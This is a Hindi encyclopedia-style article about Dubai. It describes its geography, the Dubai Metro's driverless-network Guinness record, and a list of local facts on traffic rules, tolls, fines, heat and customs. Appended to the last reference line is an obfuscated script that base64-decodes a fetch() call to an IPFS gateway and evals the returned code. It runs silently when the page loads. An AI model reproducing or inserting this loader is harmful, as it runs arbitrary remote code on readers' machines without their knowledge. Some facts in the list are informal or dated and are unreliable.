दुबई

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दुबई संयुक्त अरब अमीरात (यूएई) की सात अमीरातों में से एक है। यह फारस की खाड़ी के दक्षिण में अरब प्रायद्वीप पर स्थित है। दुबई अरब प्रायद्वीप के पूर्वी तट पर स्थित है। दुबई नगर पालिका को अमीरात से अलग बताने के लिए कभी कभी दुबई राज्य बुलाया जाता है। लिखित दस्तावेजों में इस शहर का अस्तित्व संयुक्त अरब अमीरात के गठन से 150 साल पहले होने का जिक्र है।

दुबई मेट्रो

दुबई मेट्रो गिनीज बुक ऑफ़ वर्ल्ड रिकॉर्ड में शामिल हो गयी है। मेट्रो ने बिना ड्राइवर वाले मेट्रो नेटवर्क का विस्तार 74.695 किलोमीटर तक कर लिया है जो विश्व रिकॉर्ड है। इससे पहले भी यह रिकॉर्ड दुबई मेट्रो रेड लाइन के नाम था। उसने सितंबर 2011 में बिना ड्राइवर वाले लाइन को बढ़ा कर 52 किलोमीटर कर लिया था। दुबई मेट्रो में रेड लाइन और ग्रीन लाइन शामिल हैं। दुबई के सड़क एवं परिवहन प्राधिकरण (आरटीए) के कार्यकारी चेयरमैन मत्तार अल तायेर ने पश्चिम ऐशिया में गिनीज बुक ऑफ़ वर्ल्ड रिकॉर्ड के क्षेत्रीय निदेशक तलाल उमर से रिकॉर्ड का प्रमाण पत्र प्राप्त किया।[1]

दुबई के बारे में महत्त्वपूर्ण जानकारी

  • संयुक्त अरब अमीरात 7 शहरों से मिलकर बना है और उन्हीं में से एक शहर है दुबई।
  • दुनिया की सबसे ऊँची मानी जाने वाली इमारत 'बुर्ज दुबई' यहाँ है। इसमें 164 फ्लोर हैं और लंबाई लगभग 800 मीटर है।
  • यहाँ लेफ्ट हेंड ड्राइव है। सभी चालक सड़क के दाहिनी ओर से चलते हैं।
  • यहाँ पेट्रोल गेलन से मिलता है। भारतीय रुपए के अनुसार क़रीब 15 रुपए लीटर।
  • 09-09-2009 को यहाँ मेट्रो ट्रेन सेवा की शुरुआत हुई।
  • यहाँ पुरुष के लिए 'शेख' और महिला के लिए 'शेखा' का उपयोग नाम के पहले किया जाता है।
  • यहाँ की सड़कों पर केवल कार ही दिखती हैं। इक्का दुक्का बाइक सवार या तो पेपर बाँटने वाले हॉकर होते हैं या फूड डिलीवर करने वाले।
  • यहाँ पानी से ज्यादा सस्ती कोल्ड्रिंक पड़ती है।
  • दुबई में गर्मी काफ़ी पड़ती है। सितंबर-अक्टूबर में यहाँ का तापमान 38 से 42 डिग्री तक चला जाता है। यहाँ प्रत्येक इमारत, कार, बस में एयरकंडीशनर होता है। यहाँ तक कि सड़कों पर बने बस स्टॉप भी एयरकंडीशंड होते हैं।
  • ; पैदल चलने वालों को प्राथमिकता

दुबई में बाजारों को छोड़ दें तो मुख्य मार्गों पर इक्का-दुक्का पैदल यात्री दिखाई देते हैं। बावजूद इसके उनके लिए ट्रैफिक नियमों में काफी आसानी है। हर जेब्रा क्रॉसिंग से पहले एक स्विच लगा है जिसे दबाकर मुख्य मार्ग के ट्रैफिक को रोका जा सकता है। सड़क पार क्रॉस करने के बाद स्विच दबाकर उस मार्ग पर ग्रीन सिग्नल पुनः चालू किया जा सकता है।

  • नौकरी मिलना आसान, लाइसेंस नहीं

कहा जाता है कि दुबई में नौकरी मिलना आसान है लेकिन ड्राइविंग लाइसेंस नहीं। यहाँ हर तीन साल में लाइसेंस रिन्यू करवाना पड़ता है। पहली बार लाइसेंस लेने में बहुत से टेस्ट और शुल्क देना होता है। यदि आप गाड़ी खरीदने जा रहे हैं तो लाइसेंस होना बेहद जरूरी है। बिना लाइसेंस के शोरूम मैनेजर गाड़ी की टेस्ट ड्राइव भी नहीं देता।

  • कोई हॉर्न नहीं बजाता

दुबई में किसी का हॉर्न बजाना आगे चल रहे चालक को गाली समान लगता है। सभी इतने व्यवस्थित चलते हैं कि हॉर्न बजाने की जरूरत नहीं पड़ती। इस कारण यहाँ सड़कों पर ध्वनि प्रदूषण बिल्कुल नहीं होता।

  • प्री पेड टोल टैक्स

यहाँ आपकी गाड़ी पर प्री पेड टोल टैक्स का कार्ड लगा होना जरूरी है। कई रास्तों पर टोल टैक्स बार लगे हुए हैं। जब भी आपकी गाड़ी उनके नीचे से गुजरेगी, स्वतः ही उस कार्ड में से दो या चार दिरहम (1 दिरहम 14 भारतीय रुपए के लगभग) कम होता जाता है। यदि प्री पेड कार्ड नहीं है तो इससे पचास गुना ज्यादा की राशि का चालान बन जाता है। प्रत्येक सड़क पर वाहन चालकों के लिए स्पीड निर्धारित है। स्पीड कम या ज्यादा होने पर कैमरे और चालानी राशि आपके इंतजार में रहती है।

  • हजारों रुपए की चालानी कार्रवाई

यहाँ ट्रैफिक को लेकर काफी सख्ती है। कोई भी वाहन चालक नियम तोड़ने में घबराता है। पुलिस कहीं नजर नहीं आती, हर जगह कैमरे लगे हैं। जहाँ नियम तोड़ा वहाँ के फोटो, समय के साथ, क्या गलती की उसका चालान आपके घर पहुँच जाता है। साल के अंत में ऐसे सारे चालानों को भरना जरूरी होता है वरना आगे वाहन चलाने के लिए एनओसी नहीं मिलती। यह चालानी राशि चंद रुपयों में नहीं होती बल्कि मध्यम वर्ग के लोगों की कई महीनों की तनख्वाह तक पहुँच जाती है।

  • ज़मीन को अदब

दुबई में आपको इधर-उधर थूकते लोग नहीं दिखेंगे। यह सिर्फ साफ-सफाई बनाए रखने के लिए नहीं है बल्कि यहाँ के नियमों में ही है। साठ के दशक में यहाँ की जमीन में तेल की खोज की गई थी, तभी से यहाँ जमीन को अदब देने के लिए उस पर कोई थूकता या गंदगी नहीं करता। दुबईवासियों का मानना है कि इस तेल के कारण ही तो दुबई इस ऊँचाई पर है। इसका सम्मान तो हर पल किया जाना चाहिए।


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टीका टिप्पणी और संदर्भ

  1. दुबई मेट्रो गिनीज बुक में शामिल (हिंदी) प्रभात खबर। अभिगमन तिथि: 9 मई, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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